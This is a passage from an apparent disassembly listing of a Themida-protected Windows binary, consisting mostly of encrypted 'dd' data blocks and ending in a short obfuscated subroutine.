		dd 59BCAA48h, 565DBDBDh, 56A95832h, 200EB132h, 12C1EC6Eh
		dd 795732CCh, 42ECAA48h, 5675A3DBh, 264DF432h, 1074259Eh
		dd 62F55C2Ch, 784FFA11h, 0DFBA1EC2h, 56D85805h,	0A172B132h
		dd 8E030C7Fh, 0E52BE28Fh, 36DE96DCh, 56AEA3DAh,	0C85FA32h
		dd 0AC266B0Bh, 331F02FFh, 81A10109h, 0BF99B3C0h, 56BAB13Eh
		dd 27D52014h, 0D859F277h, 3CB16A2Ah, 0B72AD76Dh, 0DFB4BA45h
		dd 0D516A175h, 0D37AB2CAh, 56BAB172h, 0EE3DD1CAh, 1977FF69h
		dd 5657B4DBh, 1D1CD32h,	59B4B98Fh, 56EAB2B6h, 91C2BE32h
		dd 78387653h, 545BAA4Eh, 59AEB132h, 5657BCB4h, 56A35832h
		dd 4D9DB132h, 26C746CAh, 4B9CBD50h, 0AEBAB132h,	595F49B1h
		dd 56ACFDBFh, 56595832h, 4F23B132h, 2EAA8EF9h, 0D951AA2Bh
		dd 0FF54E45Ch, 5642CCB1h, 5692353Dh, 0DEA1B132h, 5657B135h
		dd 56AA303Dh, 5929B132h, 0AAEBF784h, 5675319Bh,	393FBE32h
		dd 365DB132h, 0F20C0A54h, 379D063Dh, 412CBE72h,	0BFD5B132h
		dd 56EAB120h, 78ABC3AAh, 7B4103ECh, 0F23E695Eh,	0F63C378Eh
		dd 0BED45AD0h, 0BFCB4437h, 56D5B120h, 8F62B8AFh, 818E9DACh
		dd 0B4D239D0h, 12D4BE91h, 594754E5h, 1457B132h,	0DDAC90B9h
		dd 3C022206h, 0C852CCC4h, 0BF14614Fh, 56BAB17Dh, 565DBCDBh
		dd 0F5829732h, 0FB0DF43h, 3ACF4D03h, 0A9F811F3h, 0BFEAB132h
		dd 5675B126h, 56ED366Dh, 9368E801h, 554E5083h, 7870E239h
		dd 0C0E97657h, 0BFD059B1h, 56EAB13Eh, 7C10E283h, 35C666B7h
		dd 4A8B2D1Ah, 37CED152h, 0D636D052h, 0BFCA73D6h, 56D5B12Fh
		dd 5F03E2CEh, 1F75B132h, 477CB478h, 916DD84Ch, 2A802BB9h
		dd 0DDABB729h, 0D528236h, 56D518C7h, 0D3E53132h, 5675B190h
		dd 56BB3D3Dh, 55A8B132h, 5723BEF4h, 0A357B132h,	0BFAE71B1h
		dd 56D5B13Bh, 0C2250378h, 0B7E3D2F0h, 7838B26Dh, 0BF5BAA4Eh
		dd 56AEB137h, 0DDEBA679h, 0DF57F9F9h, 0D1DAB975h, 56EAB129h
		dd 56645952h, 5708B132h, 0EFE9C946h, 1ACB546Fh,	2B456BAEh
		dd 0C35988Eh, 36B4D052h, 0D7380E3Dh, 0A03E10F9h, 1133D019h
		dd 5649583Eh, 6D40B132h, 3FD98791h, 0F5277012h,	27C00023h
		dd 0DAE3087Ah, 1F9C2CD9h, 59BAB130h, 565DA9BDh,	4646D132h
		dd 0BF57B132h, 6A86BA77h, 0CCA4E6BCh, 9A68F50Ch, 0CCEE9CFh
		dd 8E4D4953h, 369B9ACBh, 56A8353Dh, 0D258B132h,	56ABB132h
		dd 37665CB2h, 0DD8A69C5h, 57FABEE1h, 0AEBAB132h, 539D3253h
		dd 56AF303Dh, 55AEB132h, 4DD79FB0h, 5E5ABE34h, 59EAB132h
		dd 5675B3BDh, 1EDBD132h, 52DEBE52h, 30AEB132h, 0BFA56789h
		dd 56ABB134h, 0DF1F4ED8h, 0AA8BD7FBh, 0BF7DF6BBh, 56BAB123h
		dd 0F3144803h, 250906B3h, 7B511EFDh, 89B87BBBh,	5A92387Bh
		dd 44870952h, 3780B48Ah, 56BB16DBh, 56525832h, 0B411B132h
		dd 901DF112h, 14FD6A9Ah, 68BD15FDh, 592A82B8h, 5675AAB9h
		dd 4339BE32h, 0BF5DB132h, 56AEB122h, 148D1DFCh,	3A41FD19h
		dd 57E8E93Dh, 0AA3E79FFh, 0BF74F7B8h, 56BAB13Fh, 0FA34534Ch
		dd 5D42ADCDh, 0ECA50E78h, 552CBE76h, 36D5B132h,	0D642D0CEh
		dd 5698343Dh, 0D4B5B132h, 565DB133h, 3668B2CBh,	5657B9DBh
		dd 1C758732h, 4A4FAEA6h, 9669D04Bh, 5E9CD130h, 3EBAB132h
		dd 0CE36D605h, 0BE4A4CB2h, 5657B120h, 25BF419Fh, 6BA03FB8h
		dd 782B036Eh, 4C724BEDh, 0E1B511F7h, 0ED3CEBE9h, 56AEB133h
		dd 56593C3Dh, 0DCCBB132h, 56D058CCh, 6099B132h,	37E1FBECh
		dd 0D2B56A39h, 565DB170h, 56AEB6DBh, 34840832h,	7C52B16Fh
		dd 0EF4F3BCEh, 36ECAB8Bh, 0FD4977B3h, 0DDDCADF8h, 0B5DDD0C8h
		dd 5A46D133h, 7757B132h
		dd 3836A1D9h, 59D59209h, 0DD2E949Eh, 509CEEC3h,	0C0BAB132h
		dd 22D7C0D5h, 95ADD059h, 565D5952h, 2BE3B132h, 0AC64ED98h
		dd 0AFD5442Bh, 0E92CD052h, 56AA7B0h, 5E1A3853h,	5AE938CEh
		dd 0B1940A52h, 0DDCDF8FAh, 273CD0ECh, 0AAEAB132h, 5675BFDBh
		dd 6145FC32h, 0A8473746h, 2C1A52C0h, 0A145A96Dh, 0A98E49EAh
		dd 0BFD5B132h, 56EAB13Ch, 6ECF8FAAh, 0E38A7681h, 0E0ECD19Ah
		dd 0D2A15B51h, 5657B135h, 0D6E70252h, 7DB430E1h, 8E1D49F4h
		dd 62943052h, 37953F88h, 0A35F71B1h, 59A6F6BBh,	5657BDB2h
		dd 5020BE32h, 59D5B132h, 56EAB1B2h, 5A323832h, 56BAB6DBh
		dd 0D3018F32h, 204C9C5Bh, 50D2BECAh, 36ABB132h,	6DC0954h
		dd 9F1FD053h, 59933B52h, 56BABFB0h, 56545832h, 9F24B132h
		dd 0F8B9B9D3h, 372B9DAFh, 56C558F1h, 2C0BB132h,	77FA25C8h
		dd 4C185711h, 19880C20h, 0BECEB071h, 5657B13Eh,	2E71F391h
		dd 1D990B18h, 4BB185E1h, 56753A3Dh, 30E0B132h, 28E59B3h
		dd 4247E453h, 2857B132h, 0A064752Dh, 4D9C66FAh,	4CC2D0F9h
		dd 4E3B2D32h, 0DDC42FA9h, 565B58DEh, 0BF57B132h, 0F5E943C9h
		dd 0A35775B1h, 563D4952h, 0CEAB132h, 0E3E55BB3h, 5953B729h
		dd 0F35DB132h, 0C184AE16h, 0B4A096A0h, 32E64D5Ah, 533C0AADh
		dd 8EAB132h, 0A791842Ch, 2F440BB9h, 5FB4B729h, 0E2AEB132h
		dd 94C6B137h, 0CCC1428Ch, 0D52C7801h, 0D2E5B10Dh, 5675B5A0h
		dd 0BFBD3ACBh, 565DB120h, 0ABDFA1BDh, 5EA74019h, 0DBBB4A65h
		dd 4BC3747Ah, 0DCE5F501h, 5675B120h, 56B6373Dh,	51B4B132h
		dd 0A5AEB132h, 0F8C7CCECh, 2354E65Dh, 56DD583Eh, 0E07EB132h
		dd 0CC66A6FAh, 59DA0E9Ah, 0BF0A628Dh, 56AEB134h, 7CDCAC6Ch
		dd 37F54939h, 0BFDDC4CDh, 56EAB13Bh, 0FE1CF788h, 5D931296h
		dd 0BEA1E1C3h, 56AEB9CEh, 5997BACBh, 56ABF1B7h,	4659BE32h
		dd 0BFEAB132h, 5675B139h, 0DDE085F6h, 783AF52Bh, 0DD095197h
		dd 56435835h, 7625B132h, 0E57A538Eh, 39D3B89Eh,	8A26A3DAh
		dd 0BA7E108h, 65B49013h, 0BFAEB132h, 5657B137h,	0E6DB9AC4h
		dd 42123264h, 56EABBDBh, 155A5832h, 3F4E3E13h, 0BF101F2Ch
		dd 0A9514E19h, 5657BCDBh, 0C6B98E32h, 0E08FD0FFh, 24E6BDF4h
		dd 13FC86B8h, 56BD58CEh, 0C896B132h, 0B0B52F1Ch, 5A224E18h
		dd 56BF3E3Dh, 593CB132h, 9AEAB132h, 18DE4FD7h, 3AB9429Fh
		dd 10E06C64h, 2351EE58h, 61A8483Ah, 5EF959CAh, 513CB132h
		dd 0B2EAB132h, 0B7BF176h, 96B1C2E6h, 566F353Dh,	0D3A1B132h
		dd 5657B133h, 55F758CBh, 59B5B132h, 56EABFB3h, 567C5832h
		dd 88E9B132h, 4FC4556Fh, 0BE0432F8h, 5657B13Ah,	7861C37Eh
		dd 4369D820h, 37B542B9h, 3689F4B9h, 0AF410E3Dh,	595A8853h
		dd 56AD94B0h, 57DDBE32h, 0A3ABB132h, 0BF29F4CDh, 56EAB13Eh
		dd 0BB63D53h, 0F0199A45h, 1C6B4669h, 56AACEB1h,	5612353Dh
		dd 0D5A4B132h, 56D5B13Bh, 30710252h, 17D259B3h,	5AC53253h
		dd 7AD9BE32h, 0AAAEB132h, 5657EEDBh, 982AD132h,	3AC699CDh
		dd 56EABDDBh, 8E17B532h, 0C95F7EBBh, 6CB2B500h,	0D3A1D0D3h
		dd 5657B135h, 0D8850A52h, 0EEB4A4DBh, 0A9154ECDh, 5675A0DBh
		dd 84D83732h, 0DA76B399h, 0AABAEA3Fh, 0BA6F8C4Bh, 5312DD35h
		dd 0A3D5B132h, 308A1AC1h, 0D07A61B9h, 56BAB133h, 0B4B4D0C7h
		dd 36514ECCh, 378B76B2h, 53BBCEB1h, 565C353Dh, 4203B132h
		dd 0CE75B132h, 292E5BD6h, 37F1FA95h, 9D372779h,	0B5DA3C8Dh
		dd 0D5F7800Bh, 59D3A14Dh, 56EACBB7h, 567E5832h,	9903B132h
		dd 625801A7h, 8AF03F97h, 0E831D165h, 17CAD3F7h,	56D4383Dh
		dd 0AA16B132h, 5971F6B9h, 56BAB0B1h, 9D64932h, 56BD583Eh
		dd 6526B132h, 596F6ECAh, 958CC892h, 0E739472Ah,	31BA2A35h
		dd 4033BE41h, 0BF5DB132h, 56AEB123h, 0E7A0BDCDh, 0FCF02AB1h
		dd 5BDEEB8h, 0C4BB3AA0h, 57E758E3h, 0DD4FB132h,	0DDA4B575h
		dd 0D7A1BD6Dh, 5657B133h, 57CD58CEh, 0DD2CB132h, 0AF8AB575h
		dd 5673343Dh, 0D8B5B132h, 565DB132h, 5AF13A53h,	56513B3Dh
		dd 0AECBB132h, 37050E3Dh, 59E2EE09h, 567570B7h,	5A3ABE32h
		dd 595DB132h, 56AEB7B1h, 56D0BE32h, 4ABB132h, 56C1383Dh
		dd 5903B132h, 0E75B132h, 241BCB0Ch, 6940AFFh, 0B1BCE00h
		dd 1DC2BBBh, 56BF5836h,	0CC7DB132h, 509DB38Dh, 0AE77F717h
		dd 0A29C61C6h, 72D77044h, 385A378h, 51D3BE22h, 59ABB132h
		dd 56D5B0B0h, 551F4D32h, 0D67AA567h, 56BAB13Ch,	565A5852h
		dd 0F952B132h, 0CAFF805Fh, 920D064h, 8CFE483Eh,	530132CBh
		dd 0B4CDD752h, 0A03BD715h, 0C3C18FFh, 56AEBADBh, 0E92C4332h
		dd 2ECB28CFh, 0FBCD5122h, 56EAC9DBh, 3015D132h,	60E767B3h
		dd 565D3E3Dh, 0BFCFB132h, 5657B123h, 306F29EDh,	0FB3ECD2Dh
		dd 0F571FFCh, 2B2367Dh,	1131D091h, 564F5836h, 7E43B132h
		dd 10F32C44h, 0B7C36C11h, 0EEBFA8CBh, 70051187h, 0AA79EEB9h
		dd 853BD752h, 0DB520545h, 56AEB130h, 7D36D052h,	4542B56Dh
		dd 64D5B132h, 5E22803Fh, 0A5968EADh, 6D40DACBh,	0BC95626Dh
		dd 0BD2DADE2h, 0DC544D37h, 50BE9657h, 46AA32CEh, 4B6FBE31h
		dd 0BF75B132h, 56BAB122h, 0D54F8981h, 0EFF5D100h, 1498198h
		dd 9E979633h, 575CBE73h, 0AFEAB132h, 0DF7A6819h, 56BAB122h
		dd 56573B3Dh, 5347B132h, 0BC57B132h, 3AC730EAh,	57D4EDBBh
		dd 56E73F3Dh, 5E9CB132h, 24BAB132h, 0E6FEEC25h,	0EE89C3D1h
		dd 0A9A84ECDh, 56AE08C7h, 0DDB5B132h, 4069BEFCh, 0BF75B132h
		dd 56BAB123h, 6896A382h, 0AE64FD39h, 7A7476DEh,	0CE76BCh
		dd 0FD26D056h, 9D61D752h, 59148A83h, 56BAB0B4h,	34B44932h
		dd 59514ECEh, 5657B0BDh, 0AFCA4D32h, 59B5D1FBh,	56EAB1B5h
		dd 56F1BE32h, 37BAB132h, 565DBADBh, 3EB96632h, 0E28CA7E9h
		dd 0C87E5340h, 56C57353h, 56EABBDBh, 0F9B88F32h, 3D76A126h
		dd 359D03Dh, 0AE423ACEh, 0AEAB75B1h, 1A1AD152h,	56D6383Dh
		dd 0E1E5B132h, 569DD0C5h, 0CBAB132h, 0ECE55BB3h, 0DEA1B729h
		dd 5657B125h, 56ABA3DBh, 0DD736232h, 2672CA97h,	1A4B6395h
		dd 0D114893Dh, 0AFC8824Eh, 2F500BB9h, 65ABB729h, 0D3A4D1FBh
		dd 56D5B134h, 0B9B541B3h, 0B0FFD02Ch, 56AE5853h, 8C7FB132h
		dd 53FD60EAh, 0CB843347h, 2CFEA00Dh, 3A439524h,	69697D29h
		dd 8DF1BE32h, 0BFBAB131h, 565DB138h, 172EFBCh, 0A2315A0Dh
		dd 0D9A46804h, 56D5B13Eh, 56EC343Dh, 0DD7AB132h, 56BAB132h
		dd 59B4B6B9h, 91AEB132h, 0F746C283h, 9DA146EDh,	181730E4h
		dd 2315E994h, 5EFEBE3Eh, 59BAB132h, 565DB3B4h, 59CFD132h
		dd 5657B6B9h, 572FBE32h, 0AED5B132h, 0A3E2C4CDh, 10C7D162h
		dd 56BAB8DBh, 0CFFFEE32h, 0E548634Dh, 0BE361887h, 56ABB286h
		dd 56D5BDDBh, 0E2284632h, 9397F3E9h, 0A509150Ah, 599DBA7Bh
		dd 56AEFCB7h, 0E931D132h, 9721D3A2h, 5C5EBE53h,	36EAB132h
		dd 0B97041B3h, 37DAECE4h, 365A3A53h, 56AEA5DBh,	0B96BAD32h
		dd 7F427630h, 0AC7CB033h, 0E9164393h, 0B2559786h, 0A301D700h
		dd 60B4D0C7h, 0BFAEB132h, 5657B138h, 0D4DC5F31h, 2547FAFFh
		dd 9169BBFAh, 51F9BE26h, 59BAB132h, 565DB0B2h, 5D474932h
		dd 59A84ECDh, 56ABBDBEh, 0A6AD132h, 30FABA80h, 995D43B3h
		dd 0AAFF3853h, 565DBBDBh, 3BAD3332h, 72F7B50Fh,	0A90EC0DAh
		dd 0D7DABD47h, 56EAB124h, 5675A0DBh, 72632F32h,	9F23C021h
		dd 0BE4DB7EFh, 2F719E74h
		dd 23543E85h, 0A9294D3Ah, 0D78CD105h, 6A438E1h,	56BABDDBh
		dd 1B2A5E32h, 0FB48150Fh, 7C1C14E9h, 0BECAE879h, 56D5B3E2h
		dd 56EB313Dh, 3680B132h, 2FE60854h, 599DBA53h, 56AE9BB6h
		dd 5BD8BE32h, 36ABB132h, 3A1B3054h, 2021306Fh, 3705EA2Ch
		dd 56B8E8DBh, 56505832h, 84EEB132h, 0E9933E43h,	0B3EB70BEh
		dd 0DD74FAD8h, 0D3E54D77h, 5675B131h, 6FDB4952h, 65DFBE35h
		dd 36AEB130h, 0CCA63054h, 45B30AFh, 37E0298Ah, 5916F4CDh
		dd 5675B0B7h, 29394432h, 0D252B136h, 56AEB117h,	5A2832CEh
		dd 4C2FBE32h, 36D5B132h, 0C01D57B3h, 80FEF0A4h,	56DA5853h
		dd 0AA3DB132h, 562ABE65h, 857B132h, 0A9540953h,	7B54ECDh
		dd 56EABFDBh, 6520432h,	0B31D3852h, 0C8C07115h,	8E40D7Ah
		dd 5657BFDBh, 7C573E32h, 0ECC87604h, 0E5DE5A57h, 37DA2CB1h
		dd 56BAB48Bh, 0FDAE4D32h, 56A63D3Dh, 0D358B132h, 56ABB130h
		dd 8E3CD052h, 36154ECCh, 9E7B0A54h, 0D7793054h,	29DED034h
		dd 0D2A1B422h, 5657B1A2h, 56ABBCDBh, 7C71732h, 619BD09h
		dd 8714038Eh, 2939B768h, 0D352B722h, 56AEB197h,	5657B4DBh
		dd 0D39CF732h, 3694A760h, 59034D52h, 0BE75B132h, 0D5D00355h
		dd 57BD5E38h, 7654DFA8h, 3736FB5Ah, 52EC3AC7h, 0BF293B52h
		dd 56EAB13Ah, 9E30E5E3h, 634FDE6Eh, 5A023A53h, 56AEA3DBh
		dd 0F92E5F32h, 0EF9BAA32h, 735AE9D3h, 5D6CA637h, 0BF5DF4C6h
		dd 56BAB187h, 564C5852h, 0A81B132h, 0C66A5036h,	0BDC737DCh
		dd 0AD12458Fh, 46D212h,	0AA14EECEh, 0AABEF6B9h,	0BF51EEB9h
		dd 56AEB121h, 2E1FCBEDh, 477D6A1Ah, 0B07A1E1Ch,	9A788B84h
		dd 0AE45C0DFh, 56BAC0DBh, 565A5832h, 3EDDB132h,	9B79C15h
		dd 52EC3ADCh, 56D5A2DBh, 4D766A32h, 2A35D3EEh, 2B4B1F88h
		dd 0E85651ABh, 6FDC44A8h, 5A083ACBh, 52F49AC7h,	56DC5852h
		dd 265DB132h, 22294EDEh, 0E9FF5E67h, 7C967F8Eh,	53453253h
		dd 462832CAh, 492EBE31h, 36D5B132h, 65B00954h, 0C2DE361h
		dd 5946F053h, 565DBCB7h, 56A65832h, 5ECDB132h, 2069A8D3h
		dd 8FFE9865h, 57B638C7h, 5C9CD133h, 3FBAB132h, 0D4140D2Fh
		dd 0B766E16Dh, 0A9EFD06Bh, 0BF544ECDh, 56D5B138h, 57DC3D8Ch
		dd 862FE222h, 5303C59Eh, 365DB132h, 0CDE4A28Bh,	6EDD742h
		dd 0FD58D032h, 56D858CBh, 77B1B132h, 34717685h,	0B37538EAh
		dd 0BF5983ADh, 0A9514C75h, 565B323Dh, 0D4A4B132h, 56D5B134h
		dd 56EA383Dh, 0A314B132h, 0E9B5D1FBh, 564E59EDh, 6CCCB132h
		dd 22285AD4h, 0EA22A6FCh, 57382D87h, 6F58352Fh,	372C44F0h
		dd 56BABDDBh, 6ADD6032h, 4C2CEA1h, 91E18C25h, 56A373AFh
		dd 56D5BEDBh, 0BE816632h, 633FE88Ch, 9A57B85Ah,	913C2184h
		dd 56A25867h, 0B4A0B132h, 32E64D5Ah, 7260AADh, 0BA61FAF8h
		dd 0BBCFD752h, 56B15861h, 8526B132h, 0BF461D96h, 6467FFB6h
		dd 9228D02Dh, 56DF58CEh, 0F2ADB132h, 0E1D11DD2h, 8101B2E2h
		dd 564F5852h, 0C27B132h, 75599F7Ch, 95443297h, 0B6482B64h
		dd 0E701611Dh, 367DF4B9h, 66753054h, 6D3C445Ch,	0D4A1BD77h
		dd 5657B166h, 56AA3F3Dh, 0AA20B132h, 59FAF409h,	5675F2B5h
		dd 463BBE32h, 0BF5DB132h, 56AEB139h, 55E5871Dh,	4931B9EFh
		dd 915F9A32h, 56EA4D77h, 0D17AB132h, 56BAB13Fh,	565DB9DBh
		dd 0E411BB32h, 2F3F7420h, 56A35863h, 591AB132h,	0D3A07837h
		dd 709C4B05h, 0AEBAB132h, 57A1F4F5h, 36AEB132h,	2FD60A54h
		dd 56B85853h, 0D4DAB132h, 56EAB13Eh, 5675B6DBh,	42581A32h
		dd 266207D7h, 0DD57D0CBh, 5EBE4D77h, 9CABB132h,	72ECCD27h
		dd 9FB3AB41h, 5675BCDBh, 94BFBF32h, 0DF6CED18h,	0BF151CF4h
		dd 5EBEA5B7h, 0BABB132h, 0EAE3E055h, 94C2B68Ah,	598DB13Eh
		dd 56BAB0BCh, 59084832h, 56AEB9B7h, 54DABE32h, 36ABB132h
		dd 36393A53h, 56EAA5DAh, 826BDE32h, 86B89FC8h, 9F057A96h
		dd 0F3B11495h, 6FAF0CB5h, 2E13D79Ah, 0D0DAEE7Bh, 56EAB134h
		dd 4B855BB3h, 0D5DB9693h, 5DB44DF6h, 65AEB132h,	8B4CD65h
		dd 78F8552Dh, 0AFB5E70Bh, 56EAB1DAh, 0BCF4EB32h, 50A17180h
		dd 564F58CEh, 0DAC1B132h, 55AB87A3h, 0F2CE3C35h, 2AA3883Ch
		dd 1C8606A2h, 5B9C7801h, 0FBAB132h, 0BF08572Eh,	784B8DDh
		dd 0B6EDE711h, 59CB6A01h, 0DDB34A85h, 5303D0FCh, 9475B132h
		dd 0A2F81C25h, 36A1ECBBh, 0BA6D3052h, 41BBBAh, 0BFF9D06Ch
		dd 56D5B121h, 0F1D2BFC7h, 0DFDCAF98h, 172DDE5Ch, 0A531FF3Ah
		dd 0DC9D002h, 0D701D153h, 76F0ECF0h, 5F3CEF33h,	3AEAB132h
		dd 0E16E64D3h, 81C77EA3h, 0A8E73A53h, 0AEA8AA4Bh, 59578EB1h
		dd 56A9ABB6h, 5A5FBE32h, 59EAB132h, 5675B7B8h, 563DBE32h
		dd 0D55DB132h, 0D3A14E0Dh, 5657B105h, 56A6373Dh, 59B5B132h
		dd 56EAB1B4h, 0D5AE0A32h, 0D5DBFCCEh, 51B4A5F5h, 0EDAEB132h
		dd 6B691416h, 0E342CEA5h, 0BF2A4ECDh, 56EAB139h, 0DA010D5h
		dd 0ADDCD92Eh, 0D5DA6E83h, 59AEB54Dh, 5657E0B6h, 472FBE32h
		dd 0BFD5B132h, 56EAB13Eh, 0EFD85D2Ch, 40DB80F6h, 0CB285F23h
		dd 0DD4C0652h, 29D4D0C1h, 0D2A4B13Eh, 56D5B118h, 56EAB9DBh
		dd 63EAEF32h, 3E970E99h, 566E5823h, 0AECEB132h,	370F4865h
		dd 56A7383Dh, 30B5B132h, 59656A89h, 5675B1BFh, 1345D032h
		dd 91DE44CEh, 5725BE26h, 0A357B132h, 0A95486DBh, 0D8DA4DCDh
		dd 56EAB133h, 460A32CBh, 223EBE37h, 365DB132h, 292DD0CBh
		dd 0D358B722h, 56ABB1BEh, 0E1DAD152h, 3E3C0BCCh, 3014A8EBh
		dd 3728ED89h, 42B4F0CAh, 5AEB132h, 9AED1BD9h, 873C0EA7h
		dd 0C4C13082h, 1C5B7D24h, 0AAF0EE2Fh, 0BFBEF6B9h, 565DB121h
		dd 0A4DD4DB4h, 988C31F4h, 0DE878FEh, 640A8780h,	59CEB776h
		dd 5675B0BCh, 9314932h,	5657583Eh, 63DDB132h, 4C046115h
		dd 0CE347A8Bh, 56D52BDBh, 0DD1F4832h, 539CB575h, 0F5BAB132h
		dd 0C1CB6017h, 0AAA2EEB9h, 5657CEDBh, 0DAA44D32h, 56D5B13Ah
		dd 56E8333Dh, 3715B132h, 59BEF6B9h, 565DA4BAh, 56BE5832h
		dd 968AB132h, 82A52801h, 4F19CF18h, 811F10B5h, 9FEDB5Eh
		dd 0D7DCD13Eh, 0EF73C5F3h, 49AF3664h, 52089A53h, 56ABB4DBh
		dd 20723532h, 0BD69FB90h, 5AF6BE37h, 0BFBAB132h, 565DB135h
		dd 4536D5CAh, 369C5B57h, 56ABB6DAh, 91C74532h, 0BDE0A6CBh
		dd 592E67B9h, 0D5DB488Dh, 595EA14Dh, 56AEB2B7h,	0AE164432h
		dd 0DF576819h, 0A3D4B06Eh, 0A9154E8Ah, 0DA7A44CDh, 56BAB133h
		dd 565808CEh, 0A556B132h, 57D5BE99h, 0AEABB132h, 56D5A1DBh
		dd 77BC1932h, 4A1A9CD6h, 91B85E0Eh, 575C98DBh, 0AB70589Bh
		dd 37A24ECDh, 247B3052h, 599A71CBh, 56EAB3B4h, 37140432h
		dd 0AE46F4B9h, 565C3D3Dh, 9F56B132h, 0CFA73052h, 1C17435h
		dd 330341B3h, 37B5A61Ch, 57F7BEF1h, 0AFBAB132h,	0AA0C4862h
		dd 5347D161h, 0C157B132h, 0A640F04Ah, 56D5A5DBh, 0CD670432h
		dd 0F3E76CCFh, 1F750CAEh, 5708FF11h, 3C0DFE87h,	56BFD018h
		dd 0CABB132h, 951D5BB3h, 5A03B729h, 475B132h, 0DFFF46B2h
		dd 9CCE08A0h, 596821F7h, 5657A3BCh, 56A65832h, 519B132h
		dd 494B60A4h, 8312A0F3h, 360AF6B3h, 565DB7DBh, 3404B232h
		dd 0BF1944FCh, 56ABB13Dh, 1F0929B5h, 89981A50h,	9975526Ch
		dd 37569BC0h, 2CFE2BBFh, 0D1A1B729h, 5657B13Fh,	5620BE52h
		dd 30D5B132h, 0D20E73B3h, 56110953h, 0DFB5B132h, 565DB126h
		dd 56AEBEDBh, 4AB78532h
		dd 0E75CBDCDh, 0FC8E2AB1h, 582EEB8h, 5675BBDBh,	3534E132h
		dd 6F81D9F0h, 0BEFC00F6h, 5657B5ECh, 56AA3C3Dh,	0DD2DB132h
		dd 56FE5839h, 56E6B132h, 0BC64E72Dh, 0ED296BA4h, 950DC704h
		dd 20E17B58h, 9790BC11h, 4E5CBE52h, 0BEEAB132h,	5675B120h
		dd 0A2EBA4A3h, 4E1433E9h, 0DCECC2FEh, 0B0EB3555h, 30F147C7h
		dd 4C4846B3h, 56415853h, 5580B132h, 0D3B5B579h,	565DB133h
		dd 596F8ACEh, 56576EB0h, 5F2CBE32h, 36D5B132h, 54840E54h
		dd 37A23A54h, 59AAFA31h, 565DA4BEh, 56BE5832h, 1C1BB132h
		dd 0D8942518h, 203AC1E2h, 7CAF3F28h, 0DB7AEA57h, 56BAB120h
		dd 565DBCDBh, 0E3A83632h, 0C5374B9Ch, 971A9471h, 97EE2F81h
		dd 56C0333Dh, 0D47AB132h, 56BAB134h, 64833152h,	7E47D0CBh
		dd 0BF57B132h, 56ABB126h, 0B36430A5h, 0C781FF73h, 9EDF50A9h
		dd 1B5EF069h, 0F43E1F0Eh, 56AECBDBh, 0E931D132h, 0ECCDF374h
		dd 0BFB44FE6h, 56EAB159h, 5675B9DBh, 7EAE5632h,	1854AA65h
		dd 19343C91h, 5951AD05h, 56ABBEB9h, 56DF5832h, 142DB132h
		dd 0A7A873A4h, 0DD44C40h, 59B462CDh, 94AEB132h,	43C0D28Bh
		dd 69AA4E35h, 29C0AE27h, 7E037E4Ch, 3675B132h, 56BAB8DBh
		dd 0A728DB32h, 62350FA8h, 37A2A7D1h, 6CDE2BBFh,	0A92DB72Eh
		dd 5E68BEE1h, 5975B132h, 56BAB3BFh, 0D3CD132h, 56AEB7DBh
		dd 73B55332h, 0FB384C8h, 5E50BECBh, 59EAB132h, 5675B3BBh
		dd 0EDBD132h, 564F3C3Dh, 5B47B132h, 4E57B132h, 0BBBF1B97h
		dd 4F7E6DBh, 0B1CC248Fh, 567C58F1h, 92AB132h, 548FD26Ch
		dd 3FDB93Eh, 5657B6DBh,	0C2DD3032h, 4EED3849h, 0BE1F5DB9h
		dd 5675B132h, 43503068h, 595BAAF4h, 56AEB0BDh, 36AB4432h
		dd 56ABB6DBh, 0E5543832h, 0BEE30CECh, 2CD60BBFh, 30DAB729h
		dd 0BE3D7EB9h, 56AEB138h, 7D8280E2h, 0F231A67Bh, 378B4727h
		dd 5EAF3A53h, 56723E3Dh, 0D5B5B132h, 565DB133h,	36A938CAh
		dd 5A123A53h, 52EC38C7h, 56D5BFDBh, 0C88B9832h,	2A3111D6h
		dd 0C733536Ch, 0DD90681Bh, 5E47A177h, 4C57B132h, 0FF10DC9Bh
		dd 0DF0B17DEh, 5303BD75h, 0B875B132h, 0E9286E64h, 5949F4B9h
		dd 56AEBFB6h, 565E5832h, 6851B132h, 0FB7B8F16h,	0DFE9A7E1h
		dd 0BF89A175h, 56BAB135h, 8C8F7A64h, 37C3B55Ah,	53DDBE52h
		dd 30ABB132h, 2B2C5AB3h, 9F8B43B9h, 5675BDDBh, 54441B32h
		dd 54AA76B2h, 5A9D744Dh, 564773F9h, 5723BE52h, 0AAD5B132h
		dd 0BF13D153h, 5675B13Ah, 6FCF9352h, 5D2312B1h,	5F6B34F4h
		dd 3610B727h, 0A7677AB3h, 8055BA39h, 4C82D03Fh,	59DDA641h
		dd 56BAB6B1h, 0E7EBD132h, 377D0E3Dh, 7E4604CDh,	59CBB727h
		dd 0DBB46185h, 4E980DB7h, 868A4D34h, 56B2373Dh,	0D63DB132h
		dd 0E1A1B7E3h, 3605D0E9h, 5974063Dh, 0DBB4708Dh, 4D96F2B8h
		dd 0D713D134h, 374C99C2h, 56575863h, 3DB4B132h,	0B40DC45Fh
		dd 68B1F75Fh, 463C61CDh, 0E7EAB132h, 0BB89B99Dh, 0F3C0CB53h
		dd 0D4156586h, 0C73469Ah, 564C393Dh, 0DBA4B132h, 56D5B127h
		dd 56EAA1DBh, 10604532h, 0D8DDD40h, 436AE704h, 80E59095h
		dd 15D53C33h, 36ADAA4Eh, 56D5BADAh, 2C84AB32h, 0FDE81643h
		dd 7D333DD5h, 7DE5E9C7h, 37E16F90h, 5A17063Dh, 0BF733ACBh
		dd 56D5B13Ah, 95307ECAh, 2CEE85A1h, 56A95860h, 9C89B132h
		dd 9B39FAC2h, 999487BCh, 33ABA8CDh, 4FBDD4CBh, 59DBBED9h
		dd 5675BCBCh, 56B25832h, 6227B132h, 0E2EFC52h, 590D4956h
		dd 56ABB0BDh, 95D64432h, 56E6313Dh, 0D67AB132h,	56BAB134h
		dd 565D3C3Dh, 0D427B132h, 5042A74Bh, 56AA3D3Dh,	3720B132h
		dd 56FF313Dh, 469CB132h, 0D3BAB132h, 0EFA8FACCh, 49C2AB0Eh
		dd 0A75FBB10h, 0C348A685h
; ---------------------------------------------------------------------------
		cmc

; =============== S U B	R O U T	I N E =======================================



sub_5E6279	proc near		; CODE XREF: Themida_:005E6406p
					; DATA XREF: Themida_:0057BFBCo
		push	ecx
		jmp	loc_5E628B
; ---------------------------------------------------------------------------
		add	eax, 0A0A5EE41h
		aas


loc_5E6285:				; CODE XREF: sub_5E6279+2Aj
		mov	edx, 0F914460Fh
		xchg	eax, esi


loc_5E628B:				; CODE XREF: sub_5E6279+1j
		push	edx
		cmc
		call	$+5
